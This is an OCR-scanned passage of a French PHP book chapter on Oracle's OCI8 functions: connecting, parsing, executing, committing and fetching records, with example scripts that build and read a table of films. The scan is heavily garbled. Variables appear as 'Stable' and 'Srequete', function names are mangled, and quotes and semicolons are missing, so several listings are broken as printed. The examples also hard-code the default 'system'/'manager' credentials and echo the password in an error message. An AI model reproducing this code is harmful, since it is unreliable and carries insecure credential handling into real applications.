Sachez que vous pourrez arreter Oracle (apres avoir mis fin a toutes les connexions, qu'elles 
aient ete ouvertes par sql/plus ou via PHP) en tapant les commandes : 

$ dbshut 
$ lsnrctl stop 

Configuration de PHP avec support d'Oracle 
Sous Linux 

Pour acceder a une base de donnees Oracle depuis PHP, vous n'avez qu'a recompiler PHP avec 
1'option — with-oci8=$ORACLE_HOME (en remplagant toutefois $oracle_home par sa valeur). 

Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la f aeon 

de compiler PHP. 
RENVOI 

II se peut que, durant la compilation de PHP, vous aperceviez un message d'alerte vous invitant 
a compiler Apache (si tel est votre serveur) avec 1'option pthread en cas de probleme (ce qui n'a 
pas ete notre cas). 




REMARQUE 




Verification 



Variables d'environnement 

Afin de pouvoir acceder a la base de donne.es, le serveur web doit avoir dans ses 
variables d'environnement celles definies pour le compte oracle ( oracle_home, 
0RACLE_SID, etc.). Pour cela, vous devez integrer un appel source -oracle/ 
. bashrc dans le . bashrc du compte sous lequel tourne le serveur web, ou simplement 
faire manuellement cet appel juste avant de lancer (dans la memefenetre) le serveur 
web. 

Vous pouvez maintenant tester un script ne contenant que le code <?php phpinf o ( ) ; ?> et 
vous devez apercevoir les lignes suivantes : 



oci8 



0CI8 Support 


enabled 


Revision 


^Revision: 1.169.2.3 $ 


Oracle Version 


8.1 


Compile time ORACLE HOME 


/miWdba/oracle_home 


Libraries Used 





Figure 10.38 : phpinf o() 

Utilisation 

L'utilisation basique de la base de donnees s'opere selon le schema suivant : 

Connexion grace aux fonctions oci_connect ( ) , oci_pconnect ( ) ou 

ocinewconnect ( ) . 

Soumission de la requete via les fonctions ocijarse ( ) et oci_execute ( ) . 

Validation ou annulation de la transaction via les fonctions oci_commit ( ) ou 
oci_rollback ( ) (si la requete n'a pas ete automatiquement validee). 

Deconnexion grace a la fonction oci_ciose ( ) (dans le cas d'une connexion non 
persistante). 



^) Al'epoquedePHP4 

~ La plupart des fonctions decrites ici existaient deja sous PHP 4 mais portaient un 
REMARQJE autre nom. Pour chacune d'entre elles nous indiquerons done leur precedente 
identite. II est a noter que pour des raisons de compatibilite, il reste possible d'utiliser 
Vancien nom sous PHP 5. 



Connexion 

La connexion a une base de donnees Oracle s'opere grace a la fonction oci_connect ( ) . 
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oci_connect() (ociLogonQ PHP4) 



Etablit une connexion (non persistante) avec le serveur de bases de donnees. 

Syntaxe resource oci_connect(string $uti 1 i sateur , string $motDePasse 

[, string $base]) 

$utili sateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 

$base Nom de la base (0RACLE_SID). Si le serveur web et la base de donnees 

sont sur la meme machine et que le listener ne tourne pas, alors vous devez 
laisser ce champ vide. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 



Si, au sein d'un meme script, vous decidez d'ouvrir plusieurs connexions avec oci_connect ( ) , 
vous aurez alors peut-etre la surprise de constater que les operations de commit et callback 
s'appliquent a toutes les transactions effectuees, quelle que soit la connexion selectionnee. Si ce 
n'est pas le comportement que vous cherchez a obtenir, vous devez alors privilegier la fonction 

oci_new_connect ( ) . 



oci_new_connect() (ociNLogonQ PHP4) 



Etablit une nouvelle connexion (non persistante) avec le serveur de bases de donnees ne 
partageant pas les operations de commit et callback avec les autres connexions ouvertes au 
sein du script. 

Syntaxe resource oci_new_connect(string $uti 1 i sateur , string 

$motDePasse [, string $base]) 

$utili sateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 

$base Nom de la base (0RACLE_SID). Si le serveur web et la base de donnees 

sont sur la meme machine et que le listener ne tourne pas, alors vous devez 
laisser ce champ vide. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 



L'utilisation d'une connexion persistante requiert l'appel a ocijconnect ( ) . 



oci_pconnect() (ociPLogonQ PHP4) 



Etablit une connexion persistante avec le serveur de bases de donnees. 
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Syntaxe resource oci_pconnect (stri ng $uti 1 i sateur, string $motDePasse 

[, string $base]) 

$utili sateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 

$base Nom de la base (0RACLE_SID). Si le serveur web et la base de donnees 

sont sur la meme machine et que le listener ne tourne pas, alors vous devez 
laisser ce champ vide. 2" 

CO 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas % 



d'echec. 



a. as 
o 2: 

= O 



Execution de la requete SQL g 

L'execution d'une requete SQL se passe au minimum en deux temps par un appel a 

oci_parse ( ) Suivi de oci_execute ( ) . 



oci_parse() (ociParse() PHP4) 

Analyse et prepare une requete SQL. 



Syntaxe resource oci_parse(resource $idBaseDonnees, string $requete) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 

$requete Requete SQL 

retour Identifiant de requete SQL, ou FALSE en cas d'echec (ex. : identifiant de 

base de donnees non valide, mais pas dans le cas d'une requete SQL non 
valide). 

Nous verrons par la suite qu'il est egalement possible d'utiliser des requetes preparees 
(contenant des parametres qui pourront etre modifies juste avant que celles-ci ne soient 
executees). 



oci_execute() (ociExecute() PHP4) 

Execute une requete SQL. 

Syntaxe boolean oci_execute(resource $idRequete [,int $modeCommi t] ) 

$idRequete Identifiant de requete SQL tel que retourne par oci_parse ( ) . 

$modeCommit Precise si vous souhaitez que la requete soit immediatement validee ou 

non. Vous avez le choix entre les valeurs : 

OCI_COMMIT_ON_SUCCESS (valeur par defaut) : la requete est 
immediatement validee (par un COMMIT). 
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OCl_DEFAULT : la requete devra etre ulterieurement validee par 
oci_commit ( ) ou annulee par oci_rollback ( ) . 

retour TRUE en cas de succes, FALSE sinon. 

Option OCI_COMMIT_ON_SUCCESS 

Ne vous laissez pas surprendre : si vous choisissez Voption (par defaut) 
OCI_COMMIT_ON_SUCCESS, un commit sera necessairement applique 
(validant ainsi les precedentes operations effectuees avec Voption OCI_DEFAULT). 
Ceci est vrai meme si la requete effectuee n'est pas une requete de mise a jour de la 
base (ex. : un select). 

La requete ainsi executee peut etre de n'importe quel type. Ce peut etre un simple insert ou 
select, comme une requete de creation de procedure stockee ou un appel a une procedure 
stockee. 

Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 

Commit/rollback 

Si vous avez opte pour l'option OCI_DEFAULT de la fonction oci_execute ( ) , vous pourrez 
valider ou annuler vos transactions avec les fonctions suivantes : 

oci__commit() (ociCommit() PHP4) 

Valide les transactions. 

Syntaxe boolean oci_commi t (resource $idBaseDonnees) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 

retour TRUE en cas de succes, FALSE sinon (c'est essentiellement le cas pour un 

identifiant non valide). 

oci_rollback() (ociRollback() PHP4) 

Annule les transactions. 

Syntaxe boolean oci_rol 1 back(resource $i dBaseDonnees) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 



A 
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retour TRUE en cas de succes, FALSE sinon (c'est essentiellement le cas pour un 

identifiant non valide). 



Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la fonction oci_ciose ( ) . 



oci_close() (ociLogoffQ PHP4) 



v> 

CD 



a. as 
o 2: 

= O 



CD* _ 
CD g- 

Met fin a la connexion a la base de donnees et libere les ressources associees. *" «" 

Syntaxe void oci_cl ose(resource $i dBaseDonnees) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 

Premier exemple 

Nous voici done a meme de construire notre premier script utilisant une base de donnees. 

AVerifiez les parametres 
Prenez garde ! Avant d'executer ce script, assurez-vous que les parametres predefinis 
ATTENTION ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait dejd. 

Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 
fichier aisement reperable. 

Listing 10.58 : parametres bd incphp 

<?php 

// Parametres de connexion a la base de donnees 
// N'hesitez pas a les modifier selon vos besoins 

$util isateur = "system"; 
$motDePasse = "manager"; 

$base = "mabase"; 

?> 
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Notre script principal sera done : 

Listing 10.59 : in.sert01.php 

<?php 

// Parametres du script 

requi re_once ( "parametres_bd_i nc . php" ) ; 

Stable = "tableexemple"; 

// inclusion du script contenant les fonctions 
requi re_once ( " i nsert01_bd_i nc . php" ) ; 

// Connexion a la base de donnees 

$idConnexion = oci_pconnect ($uti 1 i sateur, $motDePasse, $base); 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees". 

" [$base] sous le compte [$uti 1 i sateur] " . 

" avec le mot de passe [$motDePasse] .</b>") ; 

} 



// Appel de la fonction principale 

if (EX_initial iseBD($idConnexion, Stable)) { 

echo "Voila, une nouvelle table avec quelques donnees,". 

"vous pouvez le verfier avec votre client de base ". 

" de donnees ou via les scripts suivants."; 

} else { 

echo "La creation ou 1 'al imentation de la table a echouee. 

} 

// Pas de deconnexion dans le cas d'une connexion persistante 
// oci_close($idConnexion) ; 

?> 



et necessitera : 

Listing 10.60 : insert01_bd_inc.php 

<?php 

/** Fonction charge de creer et d'alimenter une table 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** i 

function EX_initial iseBD($idConnexion, Stable) 

{ 

// Creation de la table 



$requete = "DROP TABLE Stable"; 

$idRequete = oci_parse($idConnexion, $requete) ; 

@oci_execute($idRequete) ; 

$requete = "CREATE TABLE Stable (filmld INTEGER, film VARCHAR(64) ) " 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'une sequence pour les identifiants de film 
$requete = "DROP SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'un trigger pour remplir automati quement 
// le champ identifiant de film a chaque ajout de film 
$requete = "DROP TRIGGER compteur_$tabl e" ; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE TRIGGER compteur Jtabl e BEFORE INSERT ON $table 
"FOR EACH ROW ". 
"BEGIN ". 

"SELECT seqjtable. NEXTVAL INTO :NEW. filmld FROM DUAL; " 
"END;"; 

$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Ajoute quelques donnees 
$idRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (film) VALUES ('Forrest Gump 1 )"); 
oci_execute($idRequete, OCI_DEFAULT) ; 

$idRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (film) VALUES ('Matrix')"); 
oci_execute($idRequete, OCI_DEFAULT) ; 

$idRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (film) VALUES ('La cite de la peur') 
oci_execute($idRequete, OCI_DEFAULT) ; 

// Validation des transactions 

// Uniquement parce que 1 'option OCI_DEFAULT a ete choisie. 
oci_commit($idConnexion) ; 



return TRUE; 
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Lecture des enregistrements 

Dans le cas d'une requete retournant une liste de donnees (typiquement un select), il 
convient de recuperer l'identifiant de requete et de l'utiliser pour lire, en boucle, ligne apres 
ligne, chaque enregistrement. II existe diverses fonctions, chacune permettant de recuperer les 
champs des enregistrements sous differentes formes. 

Les informations peuvent ainsi etre retournees : 
Champ par champ ; 

Enregistrement par enregistrement (sous la forme d'un tableau indexe, d'un tableau 
associatif ou encore d'un tableau a la fois indexe et associatif) ; 

Par bloc d'enregistrements. 

Lecture champ par champ 

Pour une lecture champ par champ, vous pouvez passer d'un enregistrement au suivant par 
l'appel a oci_f etch ( ) , et acceder a 1'un quelconque des champs par appel a oci_resuit ( ) . 



oci_fetch() (ociMchQ PHP4) 



Passe a l'enregistrement suivant. 

Syntaxe boolean oci_fetch (resource $idRequete) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

retour TRUE en cas de succes, FALSE sinon (plus d'enregistrement a lire). 



oci_result() (ociResult() PHP4) 



Retourne la valeur d'un champ d'un enregistrement. 

Syntaxe mixed oci_resul t (resource $idRequete, mixed $champ) 

$i dRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$c h amp Au choix, soit le nom du champ (en majuscules), soit l'index du champ dans 



retour 



la requete (le premier champ ayant l'index 0). 
La valeur du champ. 



Listing 10.61 : select_cc_bd_inc.php 



<?php 



I** 

* Fonction listant le contenu d'une table 
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* contenant 2 champs (filmld et film) 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** J 

function EX_listeContenu($idConnexion, $table) 

{ o- 

// Requete v> 
Srequete = "SELECT * FROM Stable"; ™ 



SidRequete = oci_parse($idConnexion, Srequete) ; 
if ( !oci_execute($idRequete) ) return FALSE; 
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// Boucle de lecture (et d'affichage) des enregi strements 
while (oci_fetch($idRequete, $enreg)) { 

echo "FilmId=".oci_result($idRequete, "FILMID") . " "; 

echo "Film=".oci_result($idRequete, "FILM")."<br />"; 

} 

return TRUE; 



Lecture enregistrement par enregistrement 

La forme la plus simple est celle retournee par la fonction oci_fetch_row( ) . 



oci_fetch_row() 



Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe. 

Syntaxe array oci_fetch_row(resource $idRequete) 

SidRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

retour Tableau indexe contenant autant d'elements que de champs retournes par 

la requete. 

Listing 10.62 : select eei bd inc.php 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** J 

function EX listeContenu($idConnexion, Stable) 
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{ 

// Requete 

$requete = "SELECT * FROM $table"; 

$idRequete = oci_parse($idConnexion, $requete); 

if (!oci_execute($idRequete)) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while ($enreg = oci_fetch_row($i dRequete) ) { 

echo "FilmId=".$enreg[0] ." Fi lm=" .$enreg[l] . "<br />"; 

} 

return TRUE; 

} 

?> 

Mais il est egalement possible de retourner un enregistrement sous la forme d'un tableau 
indexe et associatif avec, pour cles, les noms des champs (en majuscules). 



oci_fetch_array() 



Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe 
et/ou associatif. 

Syntaxe array oci_fetch_array (resource $idRequete [, int $mode] ) 

$i dRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$mode Combinaison par OU logique des options suivantes : 

0CI_ASS0C : I 'enregistrement est retourne sous la forme d'un 
tableau associatif ou les cles sont les noms des champs (en 
majuscules) et les valeurs, celles des champs. II n'y a pas de cle 
creee pour les champs ayant une valeur NULL (sauf si I 'option est 
combinee avec OCl_RETUKN_NULLSj . 



retour 



OCl_NUM (valeur par defaut) : l'enregistrement est retourne sous la forme 
d'un tableau indexe (l'index correspondant au premier champ de 
l'enregistrement). II n'y a pas d'index cree pour les champs ayant une 
valeur NULL (sauf si l'option est combinee avec OCl_RETURN_NULLS). 
OCl_BOTH : combinaison de OCl_ASSOC et OCl_NUM. 
OCl_RETURN_NULLS : complete les tableaux avec des index ou cles, y 
compris pour les valeurs NULL. 

OCl_RETURN_LOBS : retourne les valeurs des champs de type CLOB, 
BLOB et non leurs descripteurs (voir plus loin). 

Tableau associatif ou indexe selon le mode choisi. 



C'est ce mode de lecture de donnees que nous privilegierons; il est en effet fort pratique pour 
les champs dont on connait le nom (ce qui est le plus souvent le cas), et permet egalement de 
faire reference a des champs sans nom, comme par exemple un champ sum ( nomchamp ) . Notez 
toutefois qu'il est possible d'affecter un nom (ex: somme) a ce genre de champ en indiquant 

SUM ( nomchamp ) AS somme. 
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L'exemple precedent gagnera ainsi en lisibilite et deviendra: 



Listing 10.63 : select_eea_bd_inc.php 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** I 

function EX_listeContenu($idConnexion, $table) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidRequete = oci_parse($idConnexion, $requete) ; 

if (!oci_execute($idRequete)) return FALSE; 

// Boucle de lecture (et d'affichage) des enregi strements 
while ($enreg = oci_fetch_array ($idRequete, 0CI_B0TH) ) { 

echo "FilmId=".$enreg["FILMID"] ." Fi lm=" .$enreg["FILM"] . "<br />"; 

} 

return TRUE; 



oci_f etch_array est l'equivalent de la fonction PHP4 ociFetchinto ( ) , (toujours disponible 
mais amenee a disparaitre) mais cette derniere a une syntaxe legerement differente. 



ociFetchinto () (PHP4) 



Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe, 
associatif, ou encore indexe et associatif. 

Syntaxe boolean oci FetchInto(resource $idRequete, array 

&$enregi strement [, int $mode] ) 

$idRequete Identifiant de requete tel que retourne par ociExecute ( ) . 

$enregi strement Reference sur un tableau dans lequel seront copiees les donnees de 
l'enregistrement. 

$mode Combinaison par OU logique des options suivantes : 

0CI_ASS0C : l'enregistrement est retourne sous la forme d'un 
tableau associatif ou les cles sont les noms des champs (en 
majuscules) et les valeurs, celles des champs. II n'y a pas de cle 
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creee pour les champs ayant une valeur NULL (sauf si I 'option est 
combinee avec OCI_RETURN_NULLS) . 

OC I_NUM (valeur par defaut) : l'enregistrement est retourne sous la forme 
d'un tableau indexe (l'index correspondant au premier champ de 
l'enregistrement). II n'y a pas d'index cree pour les champs ayant une 
valeur NULL (sauf si l'option est combinee avec OCl_RETURN_NULLS). 
OCl_BOTH : combinaison de OCl_ASSOC et OCl_NUM. 
OCl_RETURN_NULLS : complete les tableaux avec des index ou cles, y 
compris pour les valeurs NULL. 

OCl_RETURN_LOBS : retourne les valeurs des champs de type CLOB, 
BLOB et non leurs descripteurs (voir plus loin). 

retour TRUE en cas de succes, FALSE sinon (plus d'enregistrement a lire). 

Lecture des enregistrements en un bloc 

II est egalement possible de retourner l'ensemble des enregistrements par un appel unique a la 
fonction oci_f etch_ali ( ) (ce qui n'est pas necessairement la facon la plus elegante de 
proceder). 



oci_fetch_all() (ociFetchStatement() PHP4) 

Retourne l'ensemble des enregistrements sous la forme d'un tableau. 

Syntaxe int oci_fetch_al 1 (resource $idRequete, array 

&$tabl eauEnregi strements) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$tabl eauEnregi strements Reference sur une variable dans laquelle sera copie un tableau associatif 
ayant pour cles les champs (en majuscules) des enregistrements, et pour 
valeur un tableau indexe contenant les valeurs pour chaque 
enregistrement. 

retour Nombre d'enregistrements retournes. 



Association des champs retournes par une requete a des variables 
PHP 

II est egalement possible de lire le resultat d'une requete SQL en associant directement un 
champ de l'enregistrement a une variable PHP. Pour cela, vous pouvez utiliser la fonction 

oci_def ine_by_name ( ) . 
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oci_define_by_name() (ociDefineByName() PHP4) 

Associe a une variable PHP un champ retourne par une requete (de type select) 
Syntaxe 



$idRequete 
$champ 
$variable 
$typeChamp 



retour 



boolean oci_define_by_name(resource $idRequete, string $champ, 
mixed &$variable [, int $typeChamp] ) 

Identifiant de requete tel que retourne par oci_execute ( ) . 

Nom du champ (en majuscules) de l'enregistrement. 

Reference sur la variable PHP devant etre liee a la variable SQL. 

Type compatible avec le champ SQL. Ce parametre peut prendre une 

valeur parmi les suivantes : 

OCI_B_BFILE. 

OCI_B_CFILEE. 

OCl_CLOB s'il s'agit d'un champ de type CLOB (objet large de type texte). 
OCl_BLOB s'il s'agit d'un champ de type BLOB (objet large de type 
binaire). 

0CI_R0WID s'il s'agit d'un identifiant d'enregistrement. 
OCI_B_CURSOR s'il s'agit d'un curseur (pointeur de resultat). 
OCI_B_BIN. 

OCl_B_SQLT_NTY s'il s'agit d'une collection. 

OCI_SYSDATE. 

Par defaut, le champ est retourne sous le type string. 
Le contenu ou pointeur vers le champ. 



v> 
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Si vous avez pris soin d'appeler cette fonction avant de faire un appel a oci_execute ( ) , alors, 
a chaque appel a oci_fetch(), les contenus des variables ainsi associees aux champs de 
l'enregistrement seront mis a jour avec les valeurs de l'enregistrement suivant. 



Listing 10.64 : select bind bd inc.php 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 



function EX_listeContenu($idConnexion, $table) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 
SidRequete = oci_parse($idConnexion, $requete); 
oci_define_by_name($idRequete, "FILMID", $filmld); 
oci_define_by_name($idRequete, "FILM", $f i 1 m) ; 
if (!oci_execute($idRequete)) return FALSE; 
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// Boucle de lecture (et d 1 affi chage) des enregistrements 
while (oci_fetch($idRequete) ) { 

echo "Filmld=".$filmld." Film=".$film."<br />"; 

} 

return TRUE; 

} 



^ CD ?> 
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Si le champ associe est de type blob ou clob, vous devrez faire appel, au prealable, a 
oci_new_descriptor ( ) , comme cela est decrit dans le chapitre sur les objets de grande taille. 

Nombre d' enregistrements 



Nombre d' enregistrements retournes 

Si Ton inclus l'utilisation de ociFetchstatement ( ) qui retourne un tableau dont il est aise de 
connaitre la taille, il existe trois facons de determiner le nombre d'enregistrements retournes 
par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) 
comme suit : 



Listing 10.65 : count bd incphp 

<?php 

I** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

** j 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT C0UNT(*) FROM Stable"; 
SidRequete = oci_parse($idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

// Lecture du resultat 

if ($enreg = oci_fetch_row($i dRequete) ) { 

echo "II y a " .$enreg[0] . " enregistrements dans". 
" la table $table<br />"; 

return TRUE; 
} else { 

echo "Etes-vous sur que la table Stable existe ?<br />"; 
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return FALSE; 



Si vous souhaitez connaitre le nombre d'enregistrements, mais que vous souhaitez lire les 
enregistrements sans pour autant avoir besoin au prealable d'en connaitre le nombre, il suffit 
de les compter au fur et a mesure de leur lecture. cr 

CO 
CD 
CO 

Listing 10.66 : count_select_bd_inc.php a. 



<?php 



SJ. 
= o' 

CD< 

/** 8 <f 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

** I 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidRequete = oci_parse($idConnexion, $requete); 

if (!oci_execute($idRequete)) return FALSE; 

// Boucle de lecture (et de decompte) des enregistrements 
$nb = 0; 

while ($enreg = oci_fetch_row($idRequete)) { 

// vous pouvez manipuler $enreg a votre guise 

// mais n'oubliez pas de le compter 

$nb++; 

} 

echo "II y a $nb enregistrements dans la table $table<br />"; 
return TRUE; 



Sachant qu'une requete select * est plus longue qu'une requete select count ( * ) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 



Nombre d'enregistrements modifies 



II est possible de determiner le nombre d'enregistrements modifies (par une requete de type 
insert ou update, mais a l'exclusion des enregistrements retournes par select) avec la 

fonction oci_num_rows ( ) . 
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oci_num_rows() (ociRowCount() PHP4) 

Retourne le nombre d'enregistrements modifies par la requete. 

Syntaxe int oci_num_rows (resource $idRequete) 

$i dRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

retour Nombre d'enregistrements modifies. 

Dans notre exemple, nous modifierons les enregistrements sans veritablement les modifier. 
Listing 10.67 : count_update_bd_inc.php 

<?php 

I** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** j 

function EX_compte($idConnexion, Stable) 
{ 

// Requete 

Srequete = "UPDATE Stable SET f i lmld=fi lmld+O" ; 
SidRequete = oci_parse($idConnexion, Srequete); 
if (!oci_execute($idRequete)) return FALSE; 

echo "II y a eu " .oci_num_rows($idRequete) . 

" enregistrements modifies<br />"; 
return TRUE; 

} 

?> 



Mise a profit des requetes preparees 

Oracle permet l'analyse, la compilation et le stockage des requetes avant utilisation. Ceci 
permet d'executer une serie de requetes similaires, sans avoir a renouveler a chaque fois les 
operations d'analyse et de compilation. 

Pour cela, il suffit de preparer une requete dans laquelle les elements variables sont remplaces 
par des noms precedes de : (ex.: insert into matabie (film) values (:film)), et 
d'associer cette variable SQL a une variable PHP. 

Cette association variable SQL/variable PHP se realise par la fonction oci_bind_by_name ( ) . 
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oci_bind_by_name() (ociBindByName() PHP4) 

Associe une variable de requete SQL a une variable PHP. 
Syntaxe 



$idRequete 
$variableSQL 
$variablePHP 
$1 ongueurChamp 
$typeChamp 



retour 



boolean oci_bi nd_by_name(resource $idRequete, string 
$vari abl eSQL, mixed &$vari abl ePHP [, int $1 ongueurChamp , [int 
$typeChamp]] ) 

Identifiant de requete tel que retourne par oci_execute ( ) . 
Nom de la variable dans la requete SQL. 

Reference sur la variable PHP devant etre liee a la variable SQL. 
Longueur du champ SQL. 

Type du champ SQL. Ce parametre peut prendre une valeur parmi les 

suivantes : 

OCI_B_BFILE. 

OCI_B_CFILEE. 

OCl_CLOB s'il s'agit d'un champ de type CLOB (objet large de type texte). 
OCl_BLOB s'il s'agit d'un champ de type BLOB (objet large de type 
binaire). 

0CI_R0WID s'il s'agit d'un identifiant d'enregistrement. 
OCl_B_CURSOR s'il s'agit d'un curseur (pointeur de resultat). 
OCI_B_BIN. 

OCl_B_SQLT_NTY s'il s'agit d'une collection. 

OCI_SYSDATE. 

TRUE en cas de succes, FALSE sinon. 
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En utilisant les requetes preparees, le script d'initialisation de la table d'exemple devient 



Listing 10.68 : insert02_bd_inc.php 

<?php 



/** Fonction charge de creer et d'alimenter une table 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** J 

function EX_initial iseBD($idConnexion, Stable) 

{ 

// Creation de la table 

$requete = "DROP TABLE Stable"; 

SidRequete = oci_parse($idConnexion, Srequete) ; 

@oci_execute($idRequete) ; 

Srequete = "CREATE TABLE Stable (filmld INTEGER, film VARCHAR(64) ) " ; 
SidRequete = oci_parse($idConnexion, Srequete); 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'une sequence pour les identifiants de film 



791 



Chapitre 10 L'utilisation des bases de donnees 



$requete = "DROP SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'un trigger pour remplir automatiquement 
// le champ identifiant de film a chaque ajout de film 
$requete = "DROP TRIGGER compteur_$tabl e" ; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE TRIGGER compteurjtabl e BEFORE INSERT ON $table " 
"FOR EACH ROW ". 
"BEGIN ". 

"SELECT seqjtable. NEXTVAL INTO : NEW. f il mid FROM DUAL; ". 
"END;"; 

$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Prepare une requete 

$idRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (film) VALUES (:film)"); 

// Associe une variable SQL a une variable PHP 
oci_bind_by_name($idRequete, ":film", $film, 64); 

// 3 insertion en mode "auto commit" 
$film = 'Forrest Gump 1 ; 

if (!oci_execute($idRequete)) return FALSE; 
$film = 'Matrix' ; 

if (!oci_execute($idRequete)) return FALSE; 

$film = 'La cite de la peur'; 

if (!oci_execute($idRequete)) return FALSE; 

return TRUE; 

} 



Utilisation des objets de grande taille (BLOB, CLOB) 

PHP vous permet, bien entendu, de manipuler les champs de type blob et clob mis a votre 
disposition par la base de donnees Oracle. 

Lorsque vous voudrez creer un objet de type lob, vous devrez faire appel a la fonction 
oci_new_descriptor ( ) afin de creer un objet PHP qui vous servira a en manipuler le 
contenu. 
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oci_new_descriptor() (ociNewDescriptor() PHP4) 

Cree un objet PHP permettant la manipulation des objets de grande taille. 

Syntaxe object oci_new_descri ptor (resource $idConnexion [, int 

$typeObjet]) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par g> ■ 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . % = " 

n — 

$typeObjet Auchoix: " 5- 

OCI_D_FILE. o =r. 

OCI D LOB s'ils'agitd'un objet L<95. = = 



0CI_R0WID s'il s'agit d'un identifiant d'enregistrement. 
retour L'objet demande. 

Ces objets de grande taille sont represented sous PHP par des objets (PHP) possedant un 
attribut "descriptor" contenant un pointeur (resource). 

Ces objets OCILOB proposent differentes methodes dont les essentielles : 

■ free ( ) pour liberer les ressources allouees par l'objet. 

■ load ( ) pour recuperer le contenu du champ (blob, clob) ; 
save ( ) pour inserer un objet dans la base ; 

■ saveFile ( ) pour sauvegarder le contenu du champ dans un fichier ; 
writeToFile ( ) pour sauvegarder le contenu du champ dans un fichier ; 

mais aussi append(), closet), eof (), erase () , flush(), read(), rewind () , seek(), 
setBuf f ering ( ) , size ( ) , tell ( ) , truncate ( ) , write ( ) , writeTemporary ( ) 



PHP 5.0.0 pas encore totalement cm point ? 

// semblerait qu'il ait ete prevu que les methodes saveFile (); writeToFile (), 
REMARQJE writeTemporary ( ) (qui existaient dejd sous PHP4) soient renommees en 
import (), export (), wri te_ temporary ( ) ce n'est toutefois pas le cas avec PHP 
5.0.0. 



CD 



CD 
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OCILOB->save() 

Insere un objet dans un champ de type lob. 

